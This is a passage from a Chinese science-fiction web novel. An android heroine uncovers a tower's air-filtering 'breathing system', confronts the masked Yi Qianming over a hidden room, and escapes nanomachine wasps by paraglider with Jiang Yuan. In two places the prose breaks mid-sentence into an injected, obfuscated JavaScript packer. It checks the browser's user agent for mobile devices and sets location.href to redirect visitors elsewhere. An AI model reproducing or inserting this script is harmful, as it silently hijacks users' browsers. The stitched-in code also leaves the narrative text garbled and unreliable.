她已经确定了维修人孔的位置,图纸也记得很清楚,还有头戴电筒用来照明,准备工作在她看来是很完善的。她只是不想让易谦明和阿福发现自己的小动作,所以计划在易谦明吃晚饭的时候开始行动。 比照施工图,维修人孔就在她房间外面的走廊侧墙上。维修人孔与外面的电梯井相通,按照操作规程,她应该先关停风机和电梯,然后才能进入维修通道。但她如果真的这么搞,可想而知一定会被发现,而且也相当危险。所以她并不打算照规程办事。晚饭时间,易谦明和阿福都会在餐厅里,没有人用电梯,所以应该不至于太危险。 她对行动的预期时间是45分钟。 七点一到,周向青便装上柳怀石送给她的手臂,行动起来。这只手臂在运作的时候感觉要比她的左手滞涩一些,但明显的力量也更大。尽管那是从另一个仿生人身体上拆下来的东西,但给她的感觉却没有一丝一毫的“这并不属于我”的异样。这大概也正是她们的特质。并不会不兼容。没有什么是不能更换的。 她轻轻松松把手指插进装饰墙壁的缝隙里,把那一整块挡板卸了下来。挡板内是用以隔绝噪音、保持热量的棉层,她把那些东西也移开后,就看到了维修人孔。 打开人孔门,里面充满了呜呜的风声。 她把手伸进去,甚至可以感受到细微的沙粒飞速划过皮肤的摩擦感。 她戴上头灯,拧亮,探头进去看了看。眼前的这段通道——不,实际上更像是笔直绝壁上的,一道两米高,一米深的凹槽。沿着凹槽向左大概约有十余米,就可以通到电梯的竖井;而向右大概同样的距离,则是压缩风机的出风口。她又上下左右打量了一下,发现凹槽中除了有用来固定安全带的滑槽之外,还有预埋在水泥墙壁中的扶手。 周向青把整个身子都钻过人孔,来到了凹槽中。她先向左一步步地走去,离电梯井越近,耳边的风声也就越大。但这还不是最大的时候。因为她记得,这栋大楼的呼吸是间歇性的。她不太清楚一呼一吸之间的间隔究竟是多少,于是她就站在峭壁的拐角处等候。 电梯的竖井远比她想象的大得多。在图纸上将这里作为塔式换气的风道,可能也有利用排风时产生的推力的目的。她能看到上方某个位置有一点黑影,那大概就是电梯所在的位置;而在最远端则是黑色的天空。 她记得自己在上班的时候,傻宝兄弟曾经讨论过这个问题——在一个很深的深井中,看到的天空到底是什么颜色。 如果不是这些浓雾,她大概此时还能看到星星吧。 而另一侧,则是深不见底的深渊。 奇怪。她记得自己坐电梯上来的时候,50层以下的区域都是透明的,可以明明白白地看到外面的区域。 但她想了想便明白了。她从50层上来之后,电梯轿厢一定是从那个透光的玻璃竖井,转移到了这一个风道竖井。这种设计大概也是为了掩盖这个系统的真实目的。 没过多久,真正的风就来了。 凄厉的呼啸灌满了她的耳朵。她紧紧贴着墙壁上的凹槽,并用双手死死抓住扶手,但仍然能够感到从后而来的炽热推力想要把她从墙上铲起来,丢进那竖井中去。而竖井中的风也在温差与压力差的作用下,从底部旋转着上升,带着树叶、灰尘、垃圾碎屑,一同飞向空中。 她在这一刻更加深切地感受到了自己的渺小。 狂风怒号了不知多久,风声终于渐息,压缩风机也随之停转。 周向青打开风机旁边的人孔门,走向通道的另外一端。 风机的另一端,也就是大楼的房间与外墙中间的缝隙中,如丛林般遍布数十米高的“散热片”。为了能增加散热面积的同时避免灰尘附着,散热片的外型是光滑且致密的网格,热量通过热管导入散热片,让风在笔直地穿过网格时带走热量。 它们的确温度不低。周向青能感到红外辐射无休无止地冲向她的脸。被这些高热散热器包围,仍然能让楼内如此凉爽,不得不说这个“呼吸系统”的作用还是很明显的。 但机房那些服务器,绝对不可能产生如此高的热量。 这栋楼里必然有一个极为庞大的计算机组,而易谦明害怕被发现而不敢使用水冷,所以只能通过这种方式来带走热量。 此时,外墙上的窗口打开了。 来自外界的大量气流卷着外面的雾气涌入这个巨大的空腔。这团雾气在空腔中不断地旋转,反复穿过那些散热片,将热量扩散到这整个空间中。周向青有些疑惑。从窗口自然涌入的这些气流,能够带来如此高的压力和转速吗? 她的目光顺着热管向上望去。果然。在她的上方还有不知多少个喷口仍然在喷出不知来自何处的雾气。整个空腔内的气压也越来越大,风速越来越快。雾气一圈又一圈地通过那些所谓的“散热片”,噼噼啪啪地亮起电火花。 突然,那些喷口同时停止了。 而周向青身后的风机却工作起来。在空腔内高压、高速的空气瞬间通过风机的空洞,涌入她之前看到的竖井。然后她的背后再次响起了凄厉的呼啸声。而整个空腔中被风机抽成了负压,以等待下一次的气体涌入。 周向青明白了。这里才并不是什么散热器。 这倒的确是呼吸系统没错。 呼吸系统,不论是鱼的鳃,还是鲸的肺,都是为了让水中或空气中的氧气与血管中的血红蛋白反应,从而被人体吸收。 而这个呼吸系统也是出于一样的目的。它并不是为了带走热量。而是为了让空气中的什么东西与这些“散热片”里的什么东西交换,然后被“热管”带回一个类似心脏的地方。她所在的位置,就是这个数百米高,十个大气压的人工肺中间。天知道这样的建筑还有多少个。 周向青抬起头顺着管道望去。那些管道通向一个共同的方向。 就在她的头顶的十几层上方,有一个极大的缺口。那里根本没有任何楼层,而是一个圆滚滚型的漆黑物体。那物体隐然占据了三四层楼高的空间。 周向青抓着自己身边的扶手,纵身一跃,攀住更高层的扶手,她就这样一层一层向上爬去。 从下面向上看的时候,并不觉得那个漆黑的物体有什么问题。 但她爬得越高,就越觉得那东西怪异可怖。它似乎是有意被设计为一个像是大脑……或者说是像是蛆虫的东西。它实际上并不是黑色的,而是白色的。不,是看起来既像黑又像白的颜色。或许它本身并没有颜色。周向青绕着它走了一圈,发现所有能看到的管道都连接着它。 而这个奇怪的器官本身又延伸出一个细细的管道,通向下方。那管道实在太细,而容纳那根管道的套管也只能容得下一个拳头。 周向青想了想,她先用脚步量过管口距离电梯井的距离,然后摘下头灯,让它沿着套管自由下落。她一直盯着那灯光,看着它落得越来越快,最终摔在套管底部熄灭,并在心里数了一下这个落地的时间。 然后她走到绝壁边,向前轻轻一跃,让自己以同样的方式落了下去。 1、2、3。 周向青伸出手去,抓住了绝壁上的扶手。她的整个身子下坠之势登时止住,只是那根钢筋弯成的把手因此一弯,水泥块也从峭壁上崩落,坠入她身下两百多米的深坑。回音老半天才隐隐传了上来。 她自得地笑了笑。柳怀石的这只手其实还是挺不错。 她数了数落脚点距离自己出来那一层之间的凹槽数量。 这……这里不就是餐厅吗? 难怪易谦明总是留在那里。 周向青一级一级地下落,终于钻回自己那一层的人孔,关好门,把隔音隔热棉垫和装饰墙板都归回原位。她看了看时间,已经快到八点半了。虽然这一趟旅程比她预计的时间多了不少,但似乎并没有被易谦明和阿福发现。 既然如此,事不宜迟,她叫来电梯,准备毕其功于一役。 餐厅中没有人,但灯还是亮着的。 一圈像是窗户的显示屏上,映着今晚申宁城灯光璀璨的夜景。周向青跟据自己记忆中那跟细管相对于电梯井的位置,一步一步地量了过去。她穿过走廊,绕过吧台,推开了后厨的门。 煞白的灯光,煞白的墙壁。阿福把这里收拾得未免有点太干净了。灶台、水槽、冰箱、储物柜。一样样都几乎一尘不染。 在后厨最里面的位置,有一扇雪白的门。门上还有一扇小小的玻璃窗。 周向青凑了上去,想要看看里面到底是什么。 “如果我是你的话,我就不看。” 有一个熟悉的声音在房间里响了起来。 周向青猛地回过头去,但她随即眼前一黑,厨房里的灯突然灭了。 “你是谁?”她下意识地喊道。 但能是谁呢。这里除了她以外,只有两个人。 “易谦明?”周向青再次喊道。 厨房里的灯又突然亮了。亮如白昼。 过强的灯光晃得她睁不开眼。 那人正站在灶台后面。周向青隐约看到,那个人头上似乎是戴着一顶红色的帽子。 “你?”她小声问。 “不,是你。”那人阴阴地答道,随后笑了起来。 周向青用力眨巴着眼睛,终于对准了焦距。那人戴着的并不是红色的帽子,而是周向青的面容——包括帽子——做成的头套。那头套做得栩栩如生,甚至连她脑后长长的辫子也做的并无二致。 但那人的衣服却没有换。 “易谦明。你这是要干什么?”周向青怒道。她因为在意外中看到自己的脸而有些恼怒。 “不干什么。只是用我自己的方式来提醒你罢了。”易谦明回答。此时周向青才听出来,易谦明头套下传出来的,是自己的声音。 她不由怒道:“提醒?你这样是想提醒什么?” “提醒你最好不要往里面看。”易谦明道。“我是没有想到,你这么积极地探查我的小秘密。虽然我不介意跟你聊聊我的事情,但你走这一步就有点过了。那个房间里的东西,我建议你还是不看比较好。” “你怕我看到你不可告人的东西吗?”周向青冷嘲。 “是的。”易谦明坦然回答。 周向青没有想到对方会是这个答案。她的冷笑僵在脸上,半天收不起来。她本以为那不过是跟那什么可控自动化相关的事情。 “那里面究竟是什么?”周向青问。 “里面就是这个。”易谦明指了指自己脸上的头套。“所以,我劝你还是早点回到房间里,好好睡一觉,忘掉你我今天的对话,然后等你的审判结束,就离开这里吧。不出意外的话,统修会应该会想换你回去。你去安安稳稳地做他们的圣女,这是你最好的结局了。” “我去哪里是我自己的事。我想知道什么,也是我自己的事。”周向青退了一步,站到那扇紧闭的小门前。她非常好奇那里面到底是什么,但她又非常在意易谦明那奇怪的态度。 “如果知道,就‘只’是知道的话。”易谦明说。“但可惜人一知道什么,就会不由自主地想要行动。哼。人类简直就是最需要控制的自动化产物。虽然你不是人,但在‘自动’这一点上,人跟仿生人又有什么不同呢?不然你也不会到这里来了。” “你以为我会采取什么行动?我已经看过你平平无奇的呼吸系统了。这小房间里面又能藏什么东西?”周向青道。这个房间跟外面那个设备必然是连着的。但她猜不到那设备到底有什么功能,会把什么东西输送到这里来。能从空气中收集的,无非就是稀有气体。但区区稀有气体用不着费这么大的周折。 “藏的是人。” “人?”周向青睁大了眼睛。“难道是——” “不是你想找的马德兰。”易谦明苦笑了一声。“别胡乱猜疑了。没有意义。” “有没有意义是我来判断。如果你不能说详细,你可以暗示一下。说不定你说出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273353|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后,我反而不想看了。”周向青道。 “好吧。看在你有一半是仿生人的份上。有时候我真羡慕你们,每个人除了编号以外,全都一模一样。我想先问你一个问题。你在看到同类的时候,会有什么感觉?你会感觉对方也就是你自己吗?另一个自己?虽然你那条手臂应该是从不同型号仿生人身上拆下来的,但你们的仿生脑在出厂的时候差不多。总归都是一套程序。”易谦明问。 周向青脸色变了。这个问题的侮辱性很强。但她还是摇了摇头,反击道:“难道你在看到别人的时候,会认为对方就是你自己?” “某种程度上说,是这样的。”易谦明道。 这是个周向青没料到的答案。难道人类就是这样吗?老实说,她并不知道。 “我们会在任何地方看到自己的影子。但别觉得这是什么好话。因为我们心里只在乎自己,所以才会这样。但也就是这样,我们才总会发现,会有另外一个人,比你更像你心中的那个自己。然后我们就会变成一只没了头的苍蝇,四处乱撞,不知道真正的自己到底在哪里。” “可能我现在就是你说的无头苍蝇吧。我三年前的记忆,都被人清理掉了。所以我才要找到马德兰。”周向青说。 “哦!那你应该能够理解。”易谦明似乎高兴起来了。“那我就跟你简单说一下吧。哼。说简单,也的确是真的简单。” 他伸手指向那个小门。“那里面,就是我。” 周向青一愣,她没听懂对方的意思。“你在那门里面?”她看了看那扇门,然后又看了看易谦明。“所以我看的这是虚拟影像?” “不。我就在这里。”易谦明拍了拍自己的胸口,似乎是在证明自己的物理存在。“而且,房间里的那个人,他也跟我一点都不像。无论是相貌、身高、性格、还是别的任何方面,可以说,没有一星半点是一样的。” 周向青糊涂了。“但你刚才说,那里面的人就是你。” 易谦明摇了摇手指,口中啧啧有声。“我从来没说过,那里面的‘人’是我。不。那里面的‘人’,绝对绝对,不是我。但是,我却在那房间里面。你能理解吗?就像——就像是,你看到了一台老式的机器人,方脑袋,方身体,活像一个电冰箱,只不过它拥有你三年前的全部记忆?” 看到周向青脸上的表情,易谦明神经质地嘿嘿笑了一阵,又说:“对,就是这样。他有我朝思暮想,但绝不可能拥有的东西。但,那才是我。你懂吗?这里的一切统统是我先构想,我先设计,我先提出来的。但居然全都成了他的东西。他从我身上,把我夺走了。我这里,已经没有我了。”易谦明用手指重重戳着自己的心口。 周向青左右看了看。“你设计,你提出来——你是说人才贸易银行?规则,机房,这栋楼,还有那个呼吸系统?” “差不多。但不是。是这一切的核心。这栋楼,还有呼吸系统,都是围绕它设计的。虽然它……虽然它——但我的想法先存在。我先存在。先有我,才有围绕利用它产生的一整套东西。但唯有它不是我的。我跟他不一样。如果没有那个核心,他还是他,但我什么都不是。” 易谦明的声音越来越低,却在此处突然一转,变得高亢起来。“所以,我每次看到他的时候,我都会强烈地意识到,他就是我。他就是我想成为的人!我的一切都在他身上体现了!如果他能像窃据我的思想一样,窃取我的一切,倒也罢了。我就可以从这种日日夜夜的梦魇中解脱出来,自愿成为一具行走的躯壳!但是,他仍然只是他,他不需要我!我仍然保有我的记忆,我的相貌,我的声音,我的躯体,我的名字!我虽然只是一个空壳,却仍然要表演我自己!”他举着拳头吼道。 所以你才要戴上头套和变声器。周向青在心里想。但易谦明最后的疯狂却让她对那个房间里的东西更加好奇了。 “反正,你不要往里看。不然的话……”易谦明说,“不然你会忘记我究竟是谁。说不定,也会忘记你是谁。” 这句话让周向青的表情沉了下来。她想起了胖球之前看到她时候的生疏模样。只是换了一条手臂而已。她真的不一样了吗?她没有。说实在的,那只是那傻鸟的动物本能而已。它什么都不懂。 “所以你觉得,如果我遇到了你刚才说的,拥有我过去所有记忆的,那个方头方脑的破旧机器人,我不应该看它?不应该面对它?不应该问问,以前的我都经历过什么,才走到今天这一步?”周向青冷冷道。 易谦明没有说话。 “但我是为了寻找我自己,才从废坑出来。从那个温暖、平静、日复一日年复一年安稳生活的废坑边上出来!我丢了我过去三年的生活,丢了我的一条手臂,甚至差点丢了我的鸟儿,就是为了搞清楚自己到底是怎么回事!而且我仍然觉得,为了这个目的,再丢掉什么,也不是不可以!你说我是仿生人,是批量制造的产品。没错。所以如果没有这点东西,那么我就连自己是谁都不知道了,不是吗?” 易谦明仍然没有说话,不知他心里在想什么。 “你说你羡慕我。我不觉得你真的羡慕。我要进去了。”周向青道。 她转过身,伸手推开了那扇小门。 那小小的门后是一个像厕所隔间一样狭小的房间,煞白的灯光从屋顶照下来,亮到刺眼。 有一个人正坐在这个“厕所”中央。那人的头上戴着一个金属制成的头套,完全盖住了他的脸。那头套亮闪闪的,还伸出许多短柱,如同金色的海胆。 海胆中央伸出一根碗口粗的长长管道,通往正上方的玻璃顶棚。而那顶棚之上,正是周向青之前在大楼夹层中看过的,像是蛆虫又像是大脑,又像黑色又像白色的古怪设备,那台设备又连接着呼吸系统。 这……这到底是什么? 周向青不由得向前走了一步。 她伸出手,想要揭开那个诡异的头套。 屋顶的灯闪烁了一下,熄灭了。 当灯光再亮起时,易谦明已经堵在房间门口,挡住了周向青的去路。 77.雾气弥漫的城市17 “你还是看了。”易谦明低声说道。 周向青猛地转过身去。“这到底是什么东西?” 易谦明抬起手,在自己喉边按了一下。“没什么。只是一个奇妙的工具。”他说道。他那好似另一个周向青的声音消失了,变成了自然而又清晰的男声。 “这是你真正的声音。” “对。”易谦明又摘掉了他的手套,露出左手。他的手背上印着SL-v03的字样。那不是人类的手。 “你这是什么意思?”周向青后退了一步。 “这是我想要成为仿生人留下的痕迹。但这点改变不能让我取代他。假肢的神经信号逻辑,跟仿生人的神经系统完全不一样。所以我说,我羡慕你。你们仿生人无论哪一个都完全一样,都能够本能地成为蚁群的一分子。但我们不行。虽然人类是高度社会化的,但我们始终太关注自己了。”易谦明解开衣领,露出脖颈处皮肤与头套之间的接缝。他的四根手指插进接缝中,把接合处慢慢撕开,最终一拉一掀,将那个跟周向青一模一样的人头扯了下来。 头套下是一张没有什么特点的脸。偏瘦。中年人。平头,眉毛有点浓。眼神中有点忧郁,又有一点阴冷。 “所以你长得是这个样子。”周向青直视对方的眼睛,同时余光也在留意对方手部的动作。易谦明不会无缘无故地把头套摘下来。 “对。我就是这个样子,非常大众的脸,对不对?这些年我一直戴着头套,已经快忘了我的长相和我的声音了。只有每天晚上这个时候,履行我自己职责的时候,才能稍稍感受到一点自己存在。” “如果你就是想诉苦的话,咱们可以以后慢慢说。” “哈哈。虽然你对我没有兴趣,但我对你很有兴趣。你知道吗?每个人都害怕遇到那个真正的自己。当他们遇到真正的自己的时候,都露出着迷但又恐惧的样子。我真的很想看到你这种仿生人在面对自己的时候,会露出什么样的表情。只可惜我不是仿生人,没办法让你产生那种感觉。不过,我现在已经找到一个办法了。”易谦明悠然道。 周向青不再想听易谦明说话。他的话让她感到烦躁不安。她不理睬易谦明,而是转过身,再次伸手去揭那个金灿灿的海胆头套。 “说不定,你根本没有真正的自我。你跟我一样,是个空壳。” “你说什么?”周向青的手停在半空。 “你以为你是在寻找自我,但你的自我只不过另一个人的施舍。当你找到你自己的时候,你会发现你所苦苦寻觅的,只不过是别人人生中的一个剪影——” 周向青猛地旋身挥臂,右拳像重炮一样直击易谦明的面门。 易谦明灵活地一矮身,从周向青手臂下方钻了过去。但周向青的左拳早已追到,一拳打得易谦明的身体向后飞去,撞在后面的墙上。 他痛苦但得意地笑了笑。“怎么,我还以为你不会恐惧呢。” 周向青哼了一声,重新伸手去揭那个海胆头套。只是她轻轻一揭并未揭动,于是只好双手捧住海胆,想要把它从那人的脸上摘下来。 但坐在椅子上的那个人突然动了。他的口中发出一声不像是人声的惨叫,双手离开椅背,笔直地插向周向青,牢牢地扣住了她的腰际。 周向青吓了一跳,急忙去扳对方的手指。 但那刺耳的尖叫声却越来越高,同时似乎有一种强烈的震动通过对方的手指传了过来,简直就像是对方马上就要爆炸一样。周向青一时竟扳不开手指,回头看时,却见对方的头部已经从那头套中脱了出来。 “阿福?”周向青愣住了。 阿福尖叫着。他的面部因张大的嘴巴而显得万分狰狞,不少浑黄浓稠的液体从他脸上的裂缝中滴落下来。但那张脸上最让人恐惧的是那一个个又圆又小的孔洞,密密麻麻,不知道有多少。 周向青大骇之下,急忙去扳阿福的手指。但与此同时,她看到几只黄蜂似的虫子停在了自己的手臂上。 这里怎么有黄蜂? 那黄蜂似乎把周向青当作了攻击的目标,它尾部的钢针刺入她的手臂。但周向青瞬间重重一掌拍了过去,黄蜂当即爆成了一朵淡蓝色的电火花。 阿福死死抓着她,并不松手。口中的尖叫也仍未停歇。越来越多的黄蜂从那金色的头套中钻出,涌向她,停在她身上不断蜇刺。 不知是什么原因,她的脑海中逐渐出现了一些奇奇怪怪的画面。 给婴儿哺乳的母亲。坐在摩天轮上欢呼的少年。因为胜负而争执的老人。无数人影逐渐涌入她的脑海。 周向青拼命掰开了阿福的手指。 然而此时,无穷无尽的黄蜂几乎席卷了整个房间。 她的意识也几乎要被那无穷无尽的信息所淹没。 她渐渐看不到面前的景象了。而阿福诡异的尖叫声、易谦明放肆的大笑声,也距离她越来越远。 ### 砰! “怎么回事?怎么回事?” 一只手拉住了周向青的胳膊。把她向外拖去。 她拼命挣扎。她绝不屈服。 “快跑啊,你个笨蛋。”一个似乎在哪里听过的声音在她耳边说。 她跟着对方踉踉跄跄地跑了起来。似乎是那人把周围的照明都掐灭了。但这反而让她眼前的那些图像更加清晰,更加炫目。她也更加看不到前面的道路。 她磕磕碰碰,东撞西绊。 “怎么,你看不到了吗?”那人低声问道。“只能走电梯了。他妈的。” 那人又拉着她向前跑去。 “在那边!声音在那边!”一声扭曲的叫喊从天边传来。 黄蜂的嗡嗡声渐渐靠近了。 咔锵。当啷。砰!这是什么爆炸的声音。 “快到了。快到了。”那人按下了电梯的按钮。“快来快来快来——” 叮。电梯门打开。 那人拉着她进了电梯,啪啪啪地按着关门的电钮。“快走快走快走——” 电梯门总算慢慢合住了。 “呼哈!不容易。怎么样,你还是看不见吗?”那人似乎是在扒开她的眼睛看。“感觉你应该不会被闪到才对啊。算了。好在烟雾起了效果。不然还真的不知道该怎么办。” “姜原?”她问。尽管她还是看不到他。 “啊,对。没想到吧。我也没想到。” 她有点难以置信。 她想问问是怎么回事,但半空里突然传来嘣的一声锐响。 “我去。他们该不会要剪钢缆吧?”姜原惊道。 又是嘣的一声。 电梯突然猛地下滑,随后吱的一声停住了。然后头顶上又传来一连串的当当响声。大概就是被剪断的钢缆掉在了电梯顶部。 “这下麻烦了。我们就要卡死在这里了。”姜原说。他虽然嘴上这么说,但手上却一直没停,在嘎吱嘎吱地弄着什么东西。 “你在干什么?”周向青问。她还是除了那无穷无尽的画面,什么都看不到。即便她闭上眼睛,那画面也完全不会消失。 “我打算把滑翔伞准备好,然后撬开电梯门出去。其它用不到的就扔掉。你眼睛怎么样了?”姜原问。 “不行。”周向青说。“我什么都看不见。” “这样也看不见?”姜原似乎把什么东西在周向青面前晃了晃。“这就麻烦了。我可抱不动你。不过他们大概也一时拿我们没什么办法。大不了我们再等一会,等到你视力恢复——”姜原突然停下了。 “怎么了?” “没什么。感觉有点晃。” 周向青也感觉到了。她想到自己之前看到的情况,便说:“可能是换气吧。” “什么换气?”姜原问。 “说起来还挺复杂的——” 晃动似乎变得更厉害了。 “不行。我得撬开门看一下。万一是电梯防坠落的夹扣坏掉了,我们就得玩完。”姜原说。 一阵金属碰撞声和滑动声后,周向青能听到外面电梯井中的呼呼狂风呼啸声了。但那风声中,夹杂着还有无数的嗡嗡声。 “我操!”姜原喊道。砰地一声,电梯门重新关住了。他深深呼吸了两次,说:“那些大黄蜂爬在轿厢下面,在咬电梯的刹车。我们得马上走。” “走哪?” “呃……不知道。但不能呆在这个地方吧。附近总得有个维修人孔之类的地方,咱从那里钻回去。”姜原说。 周向青想了想,在心里盘算了一下自己的位置,一面答道:“不行。那样我们还是摆脱不了这些虫子。我们——” 电梯再次晃了一下。这一次要比前几次晃得厉害得多。 他们大概没多少时间了。 周向青伸开了双手。“你先把伞给我背上!” “啊?”姜原没听明白。 电梯又是一晃,开始慢慢向下滑动。 “我去!他们还真给咬开了!”姜原惊呼。 “快点给我!”周向青急道。她摆动着两只手。 姜原一愣。 一旦电梯刹车被彻底破坏,他们从二百多米的高空摔成肉饼,只需要8秒钟。 “给我!”周向青再次叫道。 没有时间思考。 姜原脱下滑翔伞,给周向青背好,扣好背带。 周向青把姜原推到一边,左腕的刀刃亮起,在电梯轿厢顶部砍开一个圆孔,右手推开那块被割下的顶板,爬了上去。 随着铿铿两声,电梯开始加速下滑,即将开始自由落体。 周向青伸下手,姜原紧紧扣住她的手掌。 她尽力一跃。 滑翔伞砰的一声,在空中开伞。下落的势头虽然一缓,但速度仍然越来越快。 “不行,太重了!”姜原喊道。“往左!往左!” 周向青尽量往□□斜。她的眼前仍旧充斥着那些乱七八糟的画面,什么都看不到。她感觉他们正在电梯井中打着圈下落。 希望—— 砰。一声巨响从下方传来。 那大概是电梯轿厢落地的声音。 “我操操操操——!”姜原在下面喊道。 希望能够赶得上—— 呜———— 压缩机声响了起来。 一股自下而上的冲力顶着她,盯着她们的滑翔伞,越来越快地向上方冲去。 “我操操操啊——左边!往左边!太左了!太左了——!” 砰。 滑翔伞带着他们像是炮弹冲出炮膛一样,从人才贸易银行呼吸系统的排风口飞出。 “哦哦哦——!”姜原在下面像疯了一样喊叫。 “你别叫啦!”周向青喊。 “你是不知道,我刚才心跳都快停了!” “谁管你那些。心跳快就深呼吸吧你!” 姜原笑了。“所以有用吗?对你来说?” “不知道。反正我不喜欢。” “好吧。” 气流带来的升力消失之后,滑翔伞带着他们重新向下飘去。 “这是单人伞。我们还是超重的。”姜原说。“最好是能落在高处,让着陆速度小一点。” “没那么简单。”周向青答道。“我渐渐能看到东西了,但还是看不太清。” “嗯。我指挥吧。瞎子背瘸子。” “什么?” “一个比喻。瞎子背瘸子。瘸子给瞎子指路。” “所以往哪边?” “方向大致没错。那栋楼顶上有个游泳池。就那里。水也能缓冲一下,前提是我们速度不会太快。” “嗯。可以。”周向青沉默片刻,又问:“你还没跟我说,你是怎么跑到这里来的。” “这故事就长啦。往右。简单地说,火车上有几个这里人,我跟他们一起过来。往左。我帮他们调查连环杀人,你知道吗?” “一点点。” “嗯。我感觉可能跟易谦明有关系。我也知道你在他这里。所以进来看看,正好就撞上了。往左、再往左,对了。不好,感觉还是有点快。”姜原说。 “现在对准了吗?” “差不多了。” “那把你左手给我。”周向青握住姜原的左手,说:“快落地的时候你喊一声。” “快了。五、四、三——” 周向青把姜原向上方一扔。伴随着一声惊呼,她的双腿先撞上水面,然后不由自主地向前翻了几个跟头,撞得水花四溅。姜原被周向青那一抛抵消了一部分速度,在一秒钟后也撞进水中。 周向青在水底掐断缠在身上的伞绳,把胡乱扑腾中的姜原拖上池边。“这是我第三次救你了。”她笑道。“事不过三。” “好。我争取下次也能救你一回。” 他们相互笑了一会,然后给对方讲了讲最近的事情。 “那我有点明白了,”姜原听完周向青的描述后说,“死亡的确跟易谦明有很大关系,但人未必是他亲手杀的。他就是用他的那一套呼吸系统来获取信息。呼吸系统其实是个过滤器,可以富集空气中的某种信息递质,然后那些奇怪的黄蜂可以采集这些信息递质来提炼信息,然后注入那个阿福的身体。所以——他大概也是仿生人。只有你们仿生人可以这样。所以黄蜂对易谦明和我都没有兴趣。只是那信息递质到底是什么东西,还不是很清楚——”姜原说到这里,突然停下了。 周向青跟他对视了一眼,一瞬间明白了姜原在想什么。 “雾!”她惊呼道。 “大概就是这样。看来这雾气和黄蜂,大概就是这片土地上的活化机械了。真是有点意思。” “那你觉得,那个人留给我的信息,就是为了告诉我这个吗?除此之外,我实在不知道什么别的了。”周向青说。 姜原来回踱了几圈,才道:“这个现在还不好说。之前获得的信息会明确指向一个目标,但这次却不太一样。当然也有可能我们理解错了这个‘寻宝游戏’的目的,但我还是倾向于会在这里找到另外一个线索。” “事到如今,我大概没法再回去了,”周向青说,“但胖球还在我的房间里。我怎么也得把它弄出来。” “易谦明不会拿一只八哥怎么样的。要不现在你先跟我走?可以在我住的附近找个旅馆。我还得跟我那几个伙计说说今天拿到的信息。毕竟他们死了一个朋友。然后我们好好计划一下接下来的事情。” 他们从大楼里慢慢走出来,却发现空旷无人的街道上正停着一辆车。 柳怀石正靠在车上等着他们。 “你怎么在这里?”周向青和姜原异口同声问。 “当然是来接人。只不过,今天不是来找你的。”柳怀石看着周向青说。 “那就是找我咯。怎么,打算送我去教务处?”姜原虽然知道柳怀石迟早会听到消息,只是没想到速度会这么快。走完流程按说也得一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280968|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天时间。 “那还不至于,”柳怀石挠了挠油腻的头发,“实际上,我收到报告之后,要求他们先把消息压住,暂时不要告诉任何人。” “看来你还是个好人了。”周向青道。她才不信柳怀石有这个好心,便给姜原打了个眼色。但姜原似乎没看到。 “哈哈哈哈,我自认为还不算太坏。”柳怀石笑着说,不以为忤。 “但学院整备站的那些改动,是你搞的鬼?”姜原问。 “一多半吧。但这也不是我个人的意思。计划已经准备了挺长时间了,所以不想让教务部搅进来。你手里还拿着文档对吧?别说你把它给弄丢了。” “没有。” “那就好。”柳怀石钻进车里。 姜原跟周向青对视了一眼,两人一同跟了过去。周向青本来打算让姜原去副驾,但姜原反而直接拉开司机座后面的车门,钻进去,砰地关了门。周向青便也坐在后排。 “你这么不想跟我合作吗?”柳怀石看着后视镜问。 “那倒也不是。我还是很乐意听听你的条件的。毕竟,看样子你也算是这边的什么大人物了。”姜原道。 “大人物算不上。大家都是打工的,替上面跑跑腿,干干重活脏活而已。”柳怀石发动汽车,同时打开了车里的空调。 姜原听着空调呜呜的风声,突然问道:“你这空调可以除雾吗?” “不能。”虽然姜原没有明说,但柳怀石猜到了姜原想说什么。“那玩意是无孔不入的。只要你还在呼吸,它早晚会通过你的肺进入血管。你不可能永远用滤网把你跟外界隔开。只不过,纳米级机器人虽然能捕捉信息,但并不能捕捉特定的信息。易谦明也不是什么东西都知道。但他从你这里搜集到的数据越多,那么你想法被还原的几率也就越高。我只是这么推测。” “可能的确是这样。刚才我被蛰了很多下,但看到的只是乱七八糟的画面,不明白有什么意义。可能要很长时间才能拼凑出答案。”周向青补充道。 “好吧。那看来倒不用特别忌讳。所以你想让我干什么?”姜原问。 “我不是想让你干什么。我只是给你提一个建议。”柳怀石说。“这次你肯定无法拒绝。” 姜原笑道:“这对话似曾相识啊。” “但我的条件你应该没有听过。” “你说。” “你做掉易谦明,然后我保证给你提供解码文档的设备。”柳怀石说。 姜原睁大了眼睛。“你怎么知道……不,你怎么保证……不,你——” 柳怀石笑道:“哼。别把别人都当傻子好吧。虽然我不知道教授们想要那份文档干什么,但我知道你既没把它交出去,又没有在暗网上挂牌出售,唯一的原因就是你自己想破解它。但有意思的是,教授们居然到现在都没有任何动作,看来他们对你的容忍度还是难得的高啊。” “因为我是不能毕业的废物。”姜原说。 “对,但那只是一种思路。只有废物才相信的思路。而另一种思路是,你可能真的知道老家伙们在干什么,所以他们反而不敢逼你太紧——毕竟好像没有别人比你在学院里呆得久。有十年了吗?” “十二年又四个月。” “就是这个意思。能在学院呆这么久还不死的人,多少不会是个真的废物。” 姜原沉默了。 